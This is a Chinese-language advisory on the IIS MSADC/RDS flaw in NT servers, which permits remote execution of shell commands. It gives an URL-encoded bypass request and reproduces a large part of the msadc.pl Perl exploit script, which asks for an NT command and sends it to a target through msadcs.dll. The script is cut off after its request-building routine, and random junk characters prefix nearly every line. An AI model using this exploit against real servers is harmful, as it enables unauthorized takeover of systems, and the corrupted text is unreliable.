IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zXIdup@ TALiH'w6|e 涉及程序:
/:C<{m.[} Microsoft NT server
o"p['m*g nIfp0U* 描述:
Jpn= ^f[rm 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
8RcLs1n/ J(9{P/ 详细:
g$JlpD& 如果你没有时间读详细内容的话,就删除:
dleCh+ny? c:\Program Files\Common Files\System\Msadc\msadcs.dll
T^#d\2 有关的安全问题就没有了。
$qR@;= wZ_"@j< 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
P!XO8X 1F d@ ]N 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
nPjK=o`KR 关于利用ODBC远程漏洞的描述,请参看:
9&Z+K'$= qXoq<
| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Dnd nZEew.T:6 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
j-| !QlB http://www.microsoft.com/security/bulletins/MS99-025faq.asp -U|Z9sia nx%eq,Pq 这里不再论述。
1'1>B FRsp?i
K) 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
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CK*av1 Rt@O@oD I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
a>,Zp*V( 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
jPn.w,=)27 G[{Av5g mx >1` '5A}s #将下面这段保存为txt文件,然后: "perl -x 文件名"
:G&:v k+hl6$:Qj% #!perl
dt/-0~U #
"@t bm[ # MSADC/RDS 'usage' (aka exploit) script
/bL L!nD=^ #
BQ B<+o' # by rain.forest.puppy
Xi w #
Ny2bMj.o # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
28 zZ3|Z3 # beta test and find errors!
uII! ? Qm_;o( use Socket; use Getopt::Std;
|<uBJ-5 getopts("e:vd:h:XR", \%args);
g@Rs.Zq 7JBr{3;eS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v<mSd2B* .eyJ<b9 if (!defined $args{h} && !defined $args{R}) {
f*VXg[&\\F print qq~
C 1)+^{7ef Usage: msadc.pl -h <host> { -d <delay> -X -v }
2#s8Dxt -h <host> = host you want to scan (ip or domain)
Oc5f8uv -d <seconds> = delay between calls, default 1 second
U
U#tm -X = dump Index Server path table, if available
5tEkQ(Ei8 -v = verbose
;s8\F]K -e = external dictionary file for step 5
v@{VQVx e7plL^^` Or a -R will resume a command session
B;2#Sa. =,X*40= ~; exit;}
Mo oxT7 D$E#:[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
FU;a
{irB if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7\gu; [n if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
o'8%5M@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}rF4M1+B\ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
TV`sqKW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^oNcZK> Fl}!3k>c if (!defined $args{R}){ $ret = &has_msadc;
t3=K>Y@w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
NLUiNfCR Iz>\qC} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
sn]D7Ae . "cmd /c ";
QP>F *A
$in=<STDIN>; chomp $in;
hf;S#.k $command="cmd /c " . $in ;
Rm~8n;7oOr ?8;WP& if (defined $args{R}) {&load; exit;}
<;cch6Z ,$RXN8x1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q Ll4t/p &try_btcustmr;
N2lz{ +fq\K] print "\nStep 2: Trying to make our own DSN...";
f*T}Ov4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
SL
+\{V2 ]Rxrt~ ZB print "\nStep 3: Trying known DSNs...";
`YO& &known_dsn;
6o*'Q8h ]cWQ9 print "\nStep 4: Trying known .mdbs...";
D%6}x^`Qk &known_mdb;
(!Xb8rV0_ VFm)!'=I if (defined $args{e}){
KcW 5 print "\nStep 5: Trying dictionary of DSN names...";
qac:"z'9 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
r$ I k*R _qh\
print "Sorry Charley...maybe next time?\n";
<N3~X,ch exit;
V}Oz!
O ;ULw-&]P ##############################################################################
1[-`*Ph T7l,}G sub sendraw { # ripped and modded from whisker
p4kK"
\ln sleep($delay); # it's a DoS on the server! At least on mine...
7Q,<h8N\5 my ($pstr)=@_;
u#Bj#y! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]I]G3 e die("Socket problems\n");
B~,?Gbl+g if(connect(S,pack "SnA4x8",2,80,$target)){
/;xrd\du select(S); $|=1;
+?{LLD*2e print $pstr; my @in=<S>;
/AYq^ select(STDOUT); close(S);
i~*6JB| return @in;
,mz7!c9H^a } else { die("Can't connect...\n"); }}
"hZ `^"0b 9NZq
k ##############################################################################
$_e{Zv[ ]/AU_& sub make_header { # make the HTTP request
kV3LFPf>0 my $msadc=<<EOT
jaMpi^C POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ok}e|b[D User-Agent: ACTIVEDATA
UQWv) Host: $ip
579t^"ja~ Content-Length: $clen
7nM<P4\ Connection: Keep-Alive
Lmw)Ts> A{\DzUV9, ADCClientVersion:01.06
[g{fz3
O6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>)mF'w {}=5uU 2Tu --!ADM!ROX!YOUR!WORLD!
^9YS dFH/ Content-Type: application/x-varg
^PMA"!n8 Content-Length: $reqlen
8v)HTD/C >xH?`I7;f EOT
y5VohVa` ; $msadc=~s/\n/\r\n/g;
oeI[x return $msadc;}
^}:0\;|N /gn\7&